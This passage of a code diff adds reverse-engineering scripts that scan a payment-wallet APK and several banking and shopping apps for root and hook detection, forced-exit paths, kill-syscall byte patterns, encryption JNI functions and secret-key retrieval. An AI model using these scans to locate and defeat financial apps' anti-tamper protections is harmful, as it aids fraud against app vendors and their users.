b"SPSRiskTokenCallback",
|
||||
b"SPSResultCallback",
|
||||
b"SPSCallback",
|
||||
b"getRiskToken",
|
||||
b"riskToken",
|
||||
b"RiskToken",
|
||||
b"assessRisk",
|
||||
b"AssessRisk",
|
||||
]
|
||||
with zipfile.ZipFile(APK) as zf:
|
||||
for name in zf.namelist():
|
||||
if not name.endswith(".dex"):
|
||||
continue
|
||||
data = zf.read(name)
|
||||
hits = [n.decode() for n in needles if n in data]
|
||||
if hits:
|
||||
print(name, hits)
|
||||
19
reverse/scripts/scan_so_jni.py
Normal file
19
reverse/scripts/scan_so_jni.py
Normal file
@@ -0,0 +1,19 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import re
|
||||
from pathlib import Path
|
||||
|
||||
native = Path(__file__).resolve().parent.parent / "extracted" / "native"
|
||||
needles = [b"uvwuvwuv", b"NativeEncrypt", b"encryptByRSA", b"aesEncrypt"]
|
||||
for so in sorted(native.glob("lib*.so")):
|
||||
data = so.read_bytes()
|
||||
hits = []
|
||||
for n in needles:
|
||||
if n in data:
|
||||
hits.append(n.decode())
|
||||
if not hits:
|
||||
continue
|
||||
print("\n===", so.name, hits, "===")
|
||||
for m in sorted(set(re.findall(rb"Java_com_shopee_bke_[A-Za-z0-9_]+", data))):
|
||||
s = m.decode()
|
||||
if any(k in s.lower() for k in ("encrypt", "utils", "crypto", "jni")):
|
||||
print(" ", s)
|
||||
36
reverse/scripts/scan_target.py
Normal file
36
reverse/scripts/scan_target.py
Normal file
@@ -0,0 +1,36 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import os, re, sys
|
||||
|
||||
def extract_strings(data, min_len=5):
|
||||
out = set()
|
||||
for m in re.finditer(rb'[\x20-\x7e]{' + str(min_len).encode() + rb',}', data):
|
||||
out.add(m.group().decode('ascii', 'ignore'))
|
||||
return out
|
||||
|
||||
def scan_app(app_dir, filters):
|
||||
strings = set()
|
||||
for name in os.listdir(app_dir):
|
||||
if not name.endswith('.dex'):
|
||||
continue
|
||||
with open(os.path.join(app_dir, name), 'rb') as f:
|
||||
strings |= extract_strings(f.read())
|
||||
print('\n===', os.path.basename(app_dir), '===')
|
||||
for label, rx in filters:
|
||||
matched = sorted({s for s in strings if re.search(rx, s, re.I)})
|
||||
print('\n[%s] count=%d' % (label, len(matched)))
|
||||
for s in matched[:50]:
|
||||
print(' ', s)
|
||||
|
||||
filters = [
|
||||
('up notifications', r'au\.com\.up\.money\.notifications|Lau/com/up/money/notifications'),
|
||||
('suncorp messaging', r'au\.com\.suncorp\.marketplace.*(Messaging|Firebase|Notification|Push)'),
|
||||
('ubank messaging', r'au\.com\.bank86400|bank86400|86400.*(Messaging|Firebase|Notification|Push|MoEngage)'),
|
||||
('ubank onMessage', r'onMessageReceived|Will try to show push|MoEngage'),
|
||||
('custom FCM services', r'MessagingService;|HandlerService|FirebaseService'),
|
||||
]
|
||||
|
||||
root = sys.argv[1]
|
||||
for app in sorted(os.listdir(root)):
|
||||
p = os.path.join(root, app)
|
||||
if os.path.isdir(p):
|
||||
scan_app(p, filters)
|
||||
94
reverse/scripts/scan_tng.py
Normal file
94
reverse/scripts/scan_tng.py
Normal file
@@ -0,0 +1,94 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
"""Scan TNG eWallet APK for AppProtect / root detection artifacts."""
|
||||
import re
|
||||
import sys
|
||||
import zipfile
|
||||
|
||||
KEYS = [
|
||||
b"AppProtect", b"appprotect", b"vkey", b"V-Key", b"VKey", b"VGuard",
|
||||
b"jailbroken", b"Jailbroken", b"Rooted Device", b"rooted device",
|
||||
b"Close app", b"tngdigital", b"TNG eWallet", b"How to keep device safe",
|
||||
b"enhanced our security", b"RootBeer", b"SafetyNet", b"PlayIntegrity",
|
||||
b"detectRoot", b"isRooted", b"checkRoot", b"magisk", b"xposed", b"lsposed",
|
||||
b"frida", b"emulator", b"su binary", b"/system/xbin/su",
|
||||
]
|
||||
|
||||
CLASS_KEYS = [
|
||||
b"safemode", b"SafeMode", b"appprotect", b"AppProtect", b"vkey", b"VKey",
|
||||
b"vguard", b"VGuard", b"rooted", b"RootBeer", b"integrity", b"jailbreak",
|
||||
b"security", b"RiskDevice", b"tamper", b"hook", b"frida",
|
||||
]
|
||||
|
||||
|
||||
def scan_strings(apk_path):
|
||||
print("=== STRING SCAN: %s ===" % apk_path)
|
||||
with zipfile.ZipFile(apk_path) as zf:
|
||||
for name in sorted(zf.namelist()):
|
||||
if not name.endswith(".dex"):
|
||||
continue
|
||||
data = zf.read(name)
|
||||
hits = []
|
||||
for key in KEYS:
|
||||
start = 0
|
||||
while True:
|
||||
idx = data.find(key, start)
|
||||
if idx < 0:
|
||||
break
|
||||
s = max(0, idx - 60)
|
||||
e = min(len(data), idx + len(key) + 100)
|
||||
chunk = re.sub(rb"[^\x20-\x7e]+", b" ", data[s:e])
|
||||
chunk = chunk.decode("ascii", "ignore").strip()
|
||||
if chunk and chunk not in hits:
|
||||
hits.append(chunk)
|
||||
start = idx + 1
|
||||
if hits:
|
||||
print("\n--- %s (%d hits) ---" % (name, len(hits)))
|
||||
for h in sorted(set(hits))[:40]:
|
||||
print(" ", h)
|
||||
if len(hits) > 40:
|
||||
print(" ... +%d more" % (len(hits) - 40))
|
||||
|
||||
|
||||
def scan_classes(apk_path):
|
||||
print("\n=== CLASS SCAN: %s ===" % apk_path)
|
||||
with zipfile.ZipFile(apk_path) as zf:
|
||||
for name in sorted(zf.namelist()):
|
||||
if not name.endswith(".dex"):
|
||||
continue
|
||||
data = zf.read(name)
|
||||
classes = set(re.findall(rb"L[a-zA-Z0-9_$/]+;", data))
|
||||
hits = []
|
||||
for raw in classes:
|
||||
low = raw.lower()
|
||||
if any(k.lower() in low for k in CLASS_KEYS):
|
||||
s = raw.decode("ascii", "ignore")[1:-1].replace("/", ".")
|
||||
hits.append(s)
|
||||
if hits:
|
||||
print("\n--- %s (%d classes) ---" % (name, len(hits)))
|
||||
for h in sorted(set(hits))[:60]:
|
||||
print(" ", h)
|
||||
if len(hits) > 60:
|
||||
print(" ... +%d more" % (len(hits) - 60))
|
||||
|
||||
|
||||
def scan_native(apk_path):
|
||||
print("\n=== NATIVE LIB SCAN: %s ===" % apk_path)
|
||||
with zipfile.ZipFile(apk_path) as zf:
|
||||
for name in sorted(zf.namelist()):
|
||||
if not name.endswith(".so"):
|
||||
continue
|
||||
data = zf.read(name)
|
||||
lib = name.split("/")[-1]
|
||||
found = []
|
||||
for key in KEYS + [b"libvos", b"libvkey", b"libvguard", b"libappprotect"]:
|
||||
if key.lower() in data.lower():
|
||||
found.append(key.decode("ascii", "ignore"))
|
||||
if found:
|
||||
print(" %s: %s" % (lib, ", ".join(sorted(set(found)))))
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
path = sys.argv[1] if len(sys.argv) > 1 else "reverse/apks/tng/base.apk"
|
||||
scan_strings(path)
|
||||
scan_classes(path)
|
||||
scan_native(path)
|
||||
18
reverse/scripts/scan_tng_bl_methods.py
Normal file
18
reverse/scripts/scan_tng_bl_methods.py
Normal file
@@ -0,0 +1,18 @@
|
||||
"""Dump xwwqazamx bl/w/A method refs from TNG dex."""
|
||||
import re
|
||||
import zipfile
|
||||
|
||||
APK = r"C:\Users\Administrator\Desktop\notiMessage\reverse\apks\tng\base.apk"
|
||||
with zipfile.ZipFile(APK) as z:
|
||||
data = b"".join(z.read(n) for n in z.namelist() if n.endswith(".dex"))
|
||||
|
||||
for cls in ["Lxwwqazamx/bl;", "Lxwwqazamx/w;", "Lxwwqazamx/W;", "Lxwwqazamx/A;"]:
|
||||
print("===", cls, "===")
|
||||
refs = sorted(set(re.findall(cls.encode() + rb"->[^\x00]{1,80}", data)))
|
||||
for r in refs[:30]:
|
||||
print(r.decode("ascii", "ignore"))
|
||||
print()
|
||||
|
||||
print("=== lifecycle on xwwqazamx/w ===")
|
||||
for m in sorted(set(re.findall(rb"Lxwwqazamx/w;->on[A-Za-z]+", data))):
|
||||
print(m.decode())
|
||||
25
reverse/scripts/scan_tng_callbacks.py
Normal file
25
reverse/scripts/scan_tng_callbacks.py
Normal file
@@ -0,0 +1,25 @@
|
||||
"""Scan TNG AppSecurityManager callbacks and bl methods."""
|
||||
import re
|
||||
import zipfile
|
||||
|
||||
APK = r"C:\Users\Administrator\Desktop\notiMessage\reverse\apks\tng\base.apk"
|
||||
with zipfile.ZipFile(APK) as z:
|
||||
data = b"".join(z.read(n) for n in z.namelist() if n.endswith(".dex"))
|
||||
|
||||
keys = [
|
||||
b"handleRootingCallback", b"handleEmulatorCallback", b"handleHookingCallback",
|
||||
b"handleMalwareCallback", b"onBlockStaticCheck", b"addIntoQueue",
|
||||
b"ForceExit", b"exitApplication", b"startForceExit", b"Lxwwqazamx/bl;",
|
||||
]
|
||||
for k in keys:
|
||||
i = data.find(k)
|
||||
if i < 0:
|
||||
continue
|
||||
print("---", k.decode(), "---")
|
||||
s = re.sub(rb"[^\x20-\x7e]+", b" ", data[max(0, i - 150) : i + len(k) + 200])
|
||||
print(s.decode("ascii", "ignore")[:400])
|
||||
print()
|
||||
|
||||
print("=== bl method refs ===")
|
||||
for m in sorted(set(re.findall(rb"Lxwwqazamx/bl;->[a-zA-Z0-9_$<>\[\]]+", data))):
|
||||
print(m.decode())
|
||||
37
reverse/scripts/scan_tng_exit.py
Normal file
37
reverse/scripts/scan_tng_exit.py
Normal file
@@ -0,0 +1,37 @@
|
||||
"""Scan TNG dex for Promon exit paths and ActivityThread refs."""
|
||||
import re
|
||||
import sys
|
||||
import zipfile
|
||||
|
||||
apk = sys.argv[1] if len(sys.argv) > 1 else r"C:\Users\Administrator\AppData\Local\Temp\tng_base.apk"
|
||||
with zipfile.ZipFile(apk) as z:
|
||||
data = b"".join(z.read(n) for n in z.namelist() if n.endswith(".dex"))
|
||||
|
||||
patterns = [
|
||||
rb"handleExitApplication",
|
||||
rb"System;->exit",
|
||||
rb"Runtime;->exit",
|
||||
rb"Process;->killProcess",
|
||||
rb"Runtime;->halt",
|
||||
rb"xwwqazamx/bl",
|
||||
rb"xwwqazamx/w",
|
||||
rb"xwwqazamx/W",
|
||||
rb"addIntoQueue",
|
||||
rb"handleRootingCallback",
|
||||
rb"startForceExit",
|
||||
]
|
||||
for pat in patterns:
|
||||
hits = len(re.findall(pat, data))
|
||||
print(f"{pat.decode('utf-8', 'ignore')}: {hits}")
|
||||
|
||||
print("\n=== xwwqazamx class names (sample) ===")
|
||||
classes = sorted(set(m.group().decode("utf-8", "ignore") for m in re.finditer(rb"Lxwwqazamx/[A-Za-z0-9_$]+;", data)))
|
||||
for c in classes[:60]:
|
||||
print(c)
|
||||
print(f"... total {len(classes)}")
|
||||
|
||||
for pat in [b"startForceExit", b"ForceExit", b"openSecurityUrl", b"Lxwwqazamx/w;", b"Lxwwqazamx/bl;->"]:
|
||||
print("---", pat.decode())
|
||||
hits = sorted(set(m.group().decode("utf-8", "ignore") for m in re.finditer(pat + rb"[^\x00]{0,100}", data)))
|
||||
for h in hits[:20]:
|
||||
print(h)
|
||||
72
reverse/scripts/scan_tng_exit10.py
Normal file
72
reverse/scripts/scan_tng_exit10.py
Normal file
@@ -0,0 +1,72 @@
|
||||
"""Find System.exit(10) / killProcess callers and nearby strings in TNG DEX."""
|
||||
import re
|
||||
import zipfile
|
||||
from pathlib import Path
|
||||
|
||||
apk = Path(r"C:\Users\Administrator\Desktop\notiMessage\reverse\apks\tng\base.apk")
|
||||
|
||||
with zipfile.ZipFile(apk) as z:
|
||||
dex_blobs = [(n, z.read(n)) for n in z.namelist() if n.endswith(".dex")]
|
||||
|
||||
needles = [
|
||||
b"finishAllActivityAndKillApp",
|
||||
b"UnhandledEvent detected",
|
||||
b"AppSecurityManager: UnhandledEvent",
|
||||
b"openSecurityUrl",
|
||||
b"startForceExitCountdown",
|
||||
b"ForceExitCountdown",
|
||||
b"killProcess",
|
||||
b"SecurityForceExit",
|
||||
b"handleExitApplication",
|
||||
b"exitApplication",
|
||||
b"Jailbroken/Rooted",
|
||||
b"Detected by AppProtect",
|
||||
]
|
||||
|
||||
print("=== string hits ===")
|
||||
for name, data in dex_blobs:
|
||||
for n in needles:
|
||||
c = data.count(n)
|
||||
if c:
|
||||
print(f"{name}: {n.decode(errors='ignore')} x{c}")
|
||||
|
||||
# Find UTF-16 / UTF-8 contexts around exit-related
|
||||
print("\n=== contexts near 'exit' security strings ===")
|
||||
for name, data in dex_blobs:
|
||||
for m in re.finditer(rb"[\x20-\x7e]{0,30}(exit|KillApp|killApp|ForceExit|Unhandled)[\x20-\x7e]{0,80}", data):
|
||||
s = m.group().decode("ascii", "ignore")
|
||||
if any(k in s.lower() for k in ("force", "kill", "unhandled", "security", "promon", "root")):
|
||||
print(f"{name}: {s}")
|
||||
|
||||
# Smali-ish type refs
|
||||
print("\n=== type refs ===")
|
||||
patterns = [
|
||||
rb"Lmy/com/tngdigital/common/internal/_ContextKt;",
|
||||
rb"Lmy/com/tngdigital/common/security/model/UnhandledEvent;",
|
||||
rb"Lxwwqazamx/W;",
|
||||
rb"Lxwwqazamx/bl;",
|
||||
rb"Landroid/os/Process;->killProcess",
|
||||
rb"Ljava/lang/System;->exit",
|
||||
rb"Ljava/lang/Runtime;->exit",
|
||||
]
|
||||
for name, data in dex_blobs:
|
||||
for pat in patterns:
|
||||
hits = len(re.findall(pat, data))
|
||||
if hits:
|
||||
print(f"{name}: {pat.decode(errors='ignore')} x{hits}")
|
||||
|
||||
# Look for const/16 near exit - hard in raw dex; instead find methods that mention exit code strings
|
||||
print("\n=== classes near ForceExit / KillApp strings ===")
|
||||
for name, data in dex_blobs:
|
||||
for pat in [b"finishAllActivityAndKillApp", b"UnhandledEvent detected", b"startForceExitCountdownIfNeeded"]:
|
||||
i = 0
|
||||
while True:
|
||||
j = data.find(pat, i)
|
||||
if j < 0:
|
||||
break
|
||||
# scan backwards for L...; class descriptor within 2KB
|
||||
window = data[max(0, j - 2048):j]
|
||||
classes = re.findall(rb"L[\w/$]+;", window)
|
||||
if classes:
|
||||
print(f"{name} @{j} near {pat.decode()}: ...{classes[-5:]}")
|
||||
i = j + 1
|
||||
103
reverse/scripts/scan_tng_exiting_deep.py
Normal file
103
reverse/scripts/scan_tng_exiting_deep.py
Normal file
@@ -0,0 +1,103 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Deeper TNG reverse: Exiting/Report, TigerTally API, kill-SVC in SO."""
|
||||
from pathlib import Path
|
||||
import re
|
||||
import struct
|
||||
|
||||
ROOT = Path(__file__).resolve().parents[2]
|
||||
APK_DIR = ROOT / "reverse" / "apks" / "tng"
|
||||
SO = APK_DIR / "libtngdigital_ewallet.so"
|
||||
|
||||
def load_dexes():
|
||||
files = sorted(APK_DIR.glob("classes*.dex"))
|
||||
if not files:
|
||||
# try extracted under other layouts
|
||||
files = sorted((ROOT / "reverse" / "apks").rglob("tng*/classes*.dex"))
|
||||
return files
|
||||
|
||||
def near(data, needle, before=40, after=80):
|
||||
out = []
|
||||
for m in re.finditer(re.escape(needle), data):
|
||||
s = max(0, m.start() - before)
|
||||
e = min(len(data), m.end() + after)
|
||||
chunk = data[s:e]
|
||||
printable = "".join(chr(b) if 32 <= b < 127 else "." for b in chunk)
|
||||
out.append(printable)
|
||||
return out
|
||||
|
||||
def main():
|
||||
dexes = load_dexes()
|
||||
print(f"dex count={len(dexes)}")
|
||||
all_data = b""
|
||||
for d in dexes:
|
||||
data = d.read_bytes()
|
||||
all_data += data
|
||||
hits = []
|
||||
for k in [b"Exiting:", b"Exiting", b"Report", b"W: 16", b"W:16",
|
||||
b"TigerTallyAPI", b"ttInit", b"collect", b"killProcess",
|
||||
b"SIGABRT", b"abort(", b"tgkill"]:
|
||||
c = data.count(k)
|
||||
if c:
|
||||
hits.append(f"{k.decode('latin1')}x{c}")
|
||||
if hits:
|
||||
print(f"{d.name}: {', '.join(hits)}")
|
||||
|
||||
print("\n=== near Exiting ===")
|
||||
for s in near(all_data, b"Exiting")[:15]:
|
||||
print(" ", s)
|
||||
|
||||
print("\n=== TigerTallyAPI method refs ===")
|
||||
for m in sorted(set(re.findall(rb"Lcom/aliyun/TigerTally/TigerTallyAPI;->[A-Za-z0-9_<>$]+", all_data))):
|
||||
print(" ", m.decode())
|
||||
|
||||
print("\n=== TigerTally t/ classes ===")
|
||||
for m in sorted(set(re.findall(rb"Lcom/aliyun/TigerTally/[a-z]/[A-Za-z0-9_/$]*;", all_data))):
|
||||
print(" ", m.decode())
|
||||
|
||||
print("\n=== xwwqazamx/bl method refs ===")
|
||||
for m in sorted(set(re.findall(rb"Lxwwqazamx/bl;->[A-Za-z0-9_<>$]+", all_data)))[:40]:
|
||||
print(" ", m.decode())
|
||||
|
||||
print("\n=== Process.killProcess / Runtime.exit refs near Promon ===")
|
||||
for pat in [rb"Landroid/os/Process;->killProcess", rb"Ljava/lang/System;->exit",
|
||||
rb"Ljava/lang/Runtime;->exit", rb"Ljava/lang/Runtime;->halt"]:
|
||||
print(pat.decode(), "count=", len(re.findall(pat, all_data)))
|
||||
|
||||
if SO.exists():
|
||||
so = SO.read_bytes()
|
||||
print(f"\n=== SO {SO.name} size={len(so)} ===")
|
||||
# movz x8,#129 = D2801028 LE
|
||||
patterns = {
|
||||
"movz_x8_129": bytes.fromhex("281080d2"),
|
||||
"movz_w8_129": bytes.fromhex("28108052"),
|
||||
"movz_x8_130": bytes.fromhex("481080d2"),
|
||||
"movz_x8_131": bytes.fromhex("681080d2"),
|
||||
"svc0": bytes.fromhex("010000d4"),
|
||||
"brk0": bytes.fromhex("000020d4"),
|
||||
}
|
||||
for name, pat in patterns.items():
|
||||
print(f" {name}: {so.count(pat)}")
|
||||
|
||||
# find movz kill + nearby svc within 32 bytes
|
||||
kill_imm = [bytes.fromhex(x) for x in ("281080d2", "28108052", "481080d2", "681080d2")]
|
||||
svc = bytes.fromhex("010000d4")
|
||||
found = 0
|
||||
for imm in kill_imm:
|
||||
start = 0
|
||||
while True:
|
||||
i = so.find(imm, start)
|
||||
if i < 0:
|
||||
break
|
||||
window = so[i:i+36]
|
||||
if svc in window:
|
||||
found += 1
|
||||
if found <= 20:
|
||||
off = window.find(svc)
|
||||
print(f" kill+svc @ file+0x{i:x} svc_delta={off}")
|
||||
start = i + 4
|
||||
print(f" kill+svc pairs (packed): {found}")
|
||||
else:
|
||||
print(f"\nSO missing: {SO}")
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
70
reverse/scripts/scan_tng_keys.py
Normal file
70
reverse/scripts/scan_tng_keys.py
Normal file
@@ -0,0 +1,70 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import re
|
||||
import zipfile
|
||||
|
||||
APK = "reverse/apks/tng/base.apk"
|
||||
|
||||
KEYS = [
|
||||
b"AppProtect", b"JailBroken", b"jailbroken", b"isRooted", b"isJailbroken",
|
||||
b"VKey", b"Promon", b"promon", b"APSE", b"Close app", b"Rooted Device",
|
||||
b"enhanced our security", b"How to keep device safe", b"Detected by",
|
||||
]
|
||||
|
||||
CLASS_NEEDLES = [
|
||||
b"JailBroken", b"AppProtect", b"ApSecurity", b"Promon", b"VKey", b"VGuard",
|
||||
b"RootDetect", b"DeviceRisk", b"SecurityInitializer", b"libAPSE",
|
||||
]
|
||||
|
||||
|
||||
def main():
|
||||
with zipfile.ZipFile(APK) as zf:
|
||||
data = b"".join(zf.read(n) for n in zf.namelist() if n.endswith(".dex"))
|
||||
|
||||
print("=== KEY STRINGS ===")
|
||||
for k in KEYS:
|
||||
idx = 0
|
||||
while True:
|
||||
idx = data.find(k, idx)
|
||||
if idx < 0:
|
||||
break
|
||||
s = max(0, idx - 80)
|
||||
e = min(len(data), idx + len(k) + 120)
|
||||
chunk = re.sub(rb"[^\x20-\x7e]+", b" ", data[s:e]).decode("ascii", "ignore")
|
||||
print(f"[{k.decode()}] {chunk.strip()}")
|
||||
idx += 1
|
||||
|
||||
print("\n=== KEY CLASSES ===")
|
||||
classes = set(re.findall(rb"L[a-zA-Z0-9_$/]+;", data))
|
||||
hits = []
|
||||
for raw in classes:
|
||||
if any(n in raw for n in CLASS_NEEDLES):
|
||||
hits.append(raw.decode()[1:-1].replace("/", "."))
|
||||
for h in sorted(set(hits)):
|
||||
print(h)
|
||||
|
||||
|
||||
FLOW_KEYS = [
|
||||
b"Detected by", b"Close app", b"AppSecurityManager", b"RootEvent", b"RootI18n",
|
||||
b"PromonError", b"showJailBrokenAlert", b"onShowPopupDisable", b"isJailBroken",
|
||||
b"detectJailBroken", b"APSecuritySdk", b"no/promon/shield", b"HookingFrameworks",
|
||||
b"How to keep device safe", b"onBlockStaticCheck",
|
||||
]
|
||||
|
||||
|
||||
def scan_flow():
|
||||
with zipfile.ZipFile(APK) as zf:
|
||||
data = b"".join(zf.read(n) for n in zf.namelist() if n.endswith(".dex"))
|
||||
print("\n=== FLOW STRINGS ===")
|
||||
for k in FLOW_KEYS:
|
||||
idx = data.find(k)
|
||||
if idx < 0:
|
||||
continue
|
||||
s = max(0, idx - 80)
|
||||
e = min(len(data), idx + len(k) + 120)
|
||||
chunk = re.sub(rb"[^\x20-\x7e]+", b" ", data[s:e]).decode("ascii", "ignore")
|
||||
print(f"[{k.decode()}] {chunk.strip()}")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
scan_flow()
|
||||
53
reverse/scripts/scan_tng_nativelib.py
Normal file
53
reverse/scripts/scan_tng_nativelib.py
Normal file
@@ -0,0 +1,53 @@
|
||||
"""Find NativeLib / loadLibrary targets in TNG APK."""
|
||||
import re
|
||||
import zipfile
|
||||
from pathlib import Path
|
||||
|
||||
apk = Path(r"C:\Users\Administrator\Desktop\notiMessage\reverse\apks\tng\base.apk")
|
||||
split = Path(r"C:\Users\Administrator\Desktop\notiMessage\reverse\apks\tng\split_config.arm64_v8a.apk")
|
||||
|
||||
with zipfile.ZipFile(apk) as z:
|
||||
data = b"".join(z.read(n) for n in z.namelist() if n.endswith(".dex"))
|
||||
print("base dex files:", [n for n in z.namelist() if n.endswith(".dex")])
|
||||
print("base lib entries:", [n for n in z.namelist() if "lib/" in n][:40])
|
||||
|
||||
print("\nsplit libs:")
|
||||
with zipfile.ZipFile(split) as z:
|
||||
libs = [n for n in z.namelist() if n.endswith(".so")]
|
||||
for n in libs:
|
||||
print(" ", n)
|
||||
|
||||
# strings related to NativeLib
|
||||
needles = [
|
||||
b"NativeLib",
|
||||
b"tngd.networksdk",
|
||||
b"RetrieveFromNativeLibs",
|
||||
b"getApiSixSecretKeys",
|
||||
b"networksdk",
|
||||
b"libtng",
|
||||
b"loadLibrary",
|
||||
]
|
||||
print("\n=== string hits ===")
|
||||
for n in needles:
|
||||
hits = list(re.finditer(n, data))
|
||||
print(f"{n!r}: {len(hits)}")
|
||||
for h in hits[:5]:
|
||||
ctx = data[max(0, h.start()-30):h.end()+80]
|
||||
ctx = bytes(c if 32 <= c < 127 else 46 for c in ctx)
|
||||
print(" ", ctx)
|
||||
|
||||
# library name candidates near NativeLib
|
||||
print("\n=== lib name-like strings near 'NativeLib' / networksdk ===")
|
||||
for m in re.finditer(rb"[\x20-\x7e]{4,60}", data):
|
||||
s = m.group().decode()
|
||||
if "network" in s.lower() or "tngd" in s.lower() or s.startswith("lib") and "tng" in s.lower():
|
||||
if len(s) < 80:
|
||||
print(" ", s)
|
||||
|
||||
# specific: System.loadLibrary argument often stored as short string without lib/ prefix
|
||||
print("\n=== candidate loadLibrary short names ===")
|
||||
cands = set(re.findall(rb"[\x00]([A-Za-z0-9_]{3,40})[\x00]", data))
|
||||
for c in sorted(cands):
|
||||
s = c.decode()
|
||||
if any(k in s.lower() for k in ("tng", "network", "native", "promon", "shield", "apse")):
|
||||
print(" ", s)
|
||||
19
reverse/scripts/scan_tng_nativelib2.py
Normal file
19
reverse/scripts/scan_tng_nativelib2.py
Normal file
@@ -0,0 +1,19 @@
|
||||
"""Find NativeLib method signatures / loadLibrary name via dex string proximity."""
|
||||
import re
|
||||
import zipfile
|
||||
from pathlib import Path
|
||||
|
||||
apk = Path(r"C:\Users\Administrator\Desktop\notiMessage\reverse\apks\tng\base.apk")
|
||||
with zipfile.ZipFile(apk) as z:
|
||||
for name in z.namelist():
|
||||
if not name.endswith(".dex"):
|
||||
continue
|
||||
data = z.read(name)
|
||||
if b"NativeLib" not in data and b"native-lib" not in data:
|
||||
continue
|
||||
print("===", name, "===")
|
||||
for pat in [b"NativeLib", b"native-lib", b"getApiSixSecretKeys", b"RetrieveFromNativeLibs", b"Lcom/tngd/networksdk"]:
|
||||
for m in re.finditer(pat, data):
|
||||
ctx = data[max(0, m.start()-60):m.end()+100]
|
||||
ctx = bytes(c if 32 <= c < 127 else 46 for c in ctx)
|
||||
print(pat.decode(), "@", m.start(), ":", ctx.decode())
|
||||
16
reverse/scripts/scan_tng_promon.py
Normal file
16
reverse/scripts/scan_tng_promon.py
Normal file
@@ -0,0 +1,16 @@
|
||||
import re
|
||||
import sys
|
||||
import zipfile
|
||||
|
||||
apk = sys.argv[1] if len(sys.argv) > 1 else r"C:\Users\Administrator\AppData\Local\Temp\tng_base.apk"
|
||||
with zipfile.ZipFile(apk) as z:
|
||||
data = b"".join(z.read(n) for n in z.namelist() if n.endswith(".dex"))
|
||||
|
||||
for cls in ["xwwqazamx/bl", "xwwqazamx/W", "xwwqazamx/a", "JNICLibrary", "hzchengdun"]:
|
||||
pattern = cls.encode("utf-8") + rb"[^\x00]{0,120}"
|
||||
hits = sorted(set(
|
||||
m.group().decode("utf-8", "ignore") for m in re.finditer(pattern, data)
|
||||
))
|
||||
print(f"\n=== {cls} ({len(hits)} strings) ===")
|
||||
for h in hits[:40]:
|
||||
print(h)
|
||||
18
reverse/scripts/scan_tng_security_error.py
Normal file
18
reverse/scripts/scan_tng_security_error.py
Normal file
@@ -0,0 +1,18 @@
|
||||
"""Find SecurityErrorActivity onCreate signature."""
|
||||
import re
|
||||
import zipfile
|
||||
|
||||
APK = r"C:\Users\Administrator\Desktop\notiMessage\reverse\apks\tng\base.apk"
|
||||
with zipfile.ZipFile(APK) as z:
|
||||
data = b"".join(z.read(n) for n in z.namelist() if n.endswith(".dex"))
|
||||
|
||||
for pat in [
|
||||
b"SecurityErrorActivity",
|
||||
b"launchProcessNextSecurityState",
|
||||
b"addIntoQueueAndLaunch",
|
||||
b"SecurityErrorBaseActivity;->onCreate",
|
||||
]:
|
||||
print("===", pat.decode(), "===")
|
||||
for m in sorted(set(re.findall(pat + rb"[^\x00]{0,120}", data))):
|
||||
print(m.decode("ascii", "ignore")[:150])
|
||||
print()
|
||||
61
reverse/scripts/scan_tng_so_exit.py
Normal file
61
reverse/scripts/scan_tng_so_exit.py
Normal file
@@ -0,0 +1,61 @@
|
||||
"""Scan libtngdigital_ewallet.so for SVC / exit patterns."""
|
||||
from pathlib import Path
|
||||
import struct
|
||||
|
||||
SO = Path(r"C:\Users\Administrator\Desktop\notiMessage\reverse\apks\tng\libtngdigital_ewallet.so")
|
||||
if not SO.exists():
|
||||
# try from split apk
|
||||
import zipfile
|
||||
apk = Path(r"C:\Users\Administrator\Desktop\notiMessage\reverse\apks\tng\split_config.arm64_v8a.apk")
|
||||
if apk.exists():
|
||||
with zipfile.ZipFile(apk) as z:
|
||||
for n in z.namelist():
|
||||
if n.endswith("libtngdigital_ewallet.so"):
|
||||
SO.write_bytes(z.read(n))
|
||||
print("extracted from", apk, "->", SO)
|
||||
break
|
||||
|
||||
data = SO.read_bytes()
|
||||
print("size", len(data), SO)
|
||||
|
||||
svc = b"\x01\x00\x00\xd4"
|
||||
idxs = []
|
||||
start = 0
|
||||
while True:
|
||||
i = data.find(svc, start)
|
||||
if i < 0:
|
||||
break
|
||||
idxs.append(i)
|
||||
start = i + 4
|
||||
print("total svc#0:", len(idxs))
|
||||
|
||||
# movz x8,#93 = d2 80 0b a8 ; movz x8,#94 = d2 80 0b c8 (LE)
|
||||
# bytes LE: A8 0B 80 D2 / C8 0B 80 D2
|
||||
exit_setups = [
|
||||
(b"\xa8\x0b\x80\xd2", 93), # movz x8, #93
|
||||
(b"\xc8\x0b\x80\xd2", 94), # movz x8, #94
|
||||
(b"\xa8\x0b\x80\x52", 93), # movz w8, #93
|
||||
(b"\xc8\x0b\x80\x52", 94), # movz w8, #94
|
||||
]
|
||||
for pat, nr in exit_setups:
|
||||
c = data.count(pat)
|
||||
print(f"movz *8,#{nr} pattern count={c}")
|
||||
|
||||
print("\nSVC with nearby exit setup (lookback 32 bytes):")
|
||||
hits = 0
|
||||
for i in idxs[:2000]:
|
||||
window = data[max(0, i - 32) : i]
|
||||
for pat, nr in exit_setups:
|
||||
if pat in window:
|
||||
print(f" off=0x{i:x} exit_group/exit via #{nr}")
|
||||
hits += 1
|
||||
break
|
||||
print("hits", hits)
|
||||
|
||||
# also search brk
|
||||
brk = b"\x00\x00\x20\xd4" # brk #0
|
||||
print("brk#0 count", data.count(brk))
|
||||
|
||||
# string refs
|
||||
for s in [b"_exit", b"exit_group", b"abort", b"frida", b"/proc/self/maps", b"xposed"]:
|
||||
print(s, "->", data.find(s))
|
||||
41
reverse/scripts/scan_tng_so_kill.py
Normal file
41
reverse/scripts/scan_tng_so_kill.py
Normal file
@@ -0,0 +1,41 @@
|
||||
#!/usr/bin/env python3
|
||||
from pathlib import Path
|
||||
|
||||
DIR = Path(__file__).resolve().parents[1] / "apks" / "tng"
|
||||
KILL = [bytes.fromhex(x) for x in (
|
||||
"281080d2", "28108052", "481080d2", "48108052", "681080d2", "68108052",
|
||||
)]
|
||||
SVC = bytes.fromhex("010000d4")
|
||||
EXIT = [bytes.fromhex(x) for x in ("c80b80d2", "ba0b80d2")] # exit_group, exit
|
||||
|
||||
